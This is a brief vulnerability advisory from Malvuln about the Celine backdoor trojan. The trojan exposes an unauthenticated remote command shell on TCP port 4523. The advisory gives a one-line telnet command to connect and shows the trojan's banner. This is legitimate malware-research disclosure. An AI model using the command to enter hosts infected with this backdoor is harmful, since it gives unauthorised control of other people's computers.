Backdoor.Win32.Celine malware suffers from a missing authentication vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/3a634db497c417679d7a20587d689d1f.txt
Contact: [email protected]
Vulnerability: Missing Authentication
Description: MTX Celine Trojan 3.3.3 by Del_Armg0, listens on TCP port 4523. The malware allows casual intruders access to the infected system as there is no authentication required. Third-party attackers can use telnet to gain entry to the backdoored host, after which they are presented with a command line.
Vuln ID: MVID-2021-0064
TELNET x.x.x.x 4523
>> MTX Celine Trojan 3.3.3 By Del_Armg0 - MTX#3 VxZine Released.
>> Usage is : <Command> <Full_Path> <$>
>> Supported commands are typical Dos commands ... -- celend to exit
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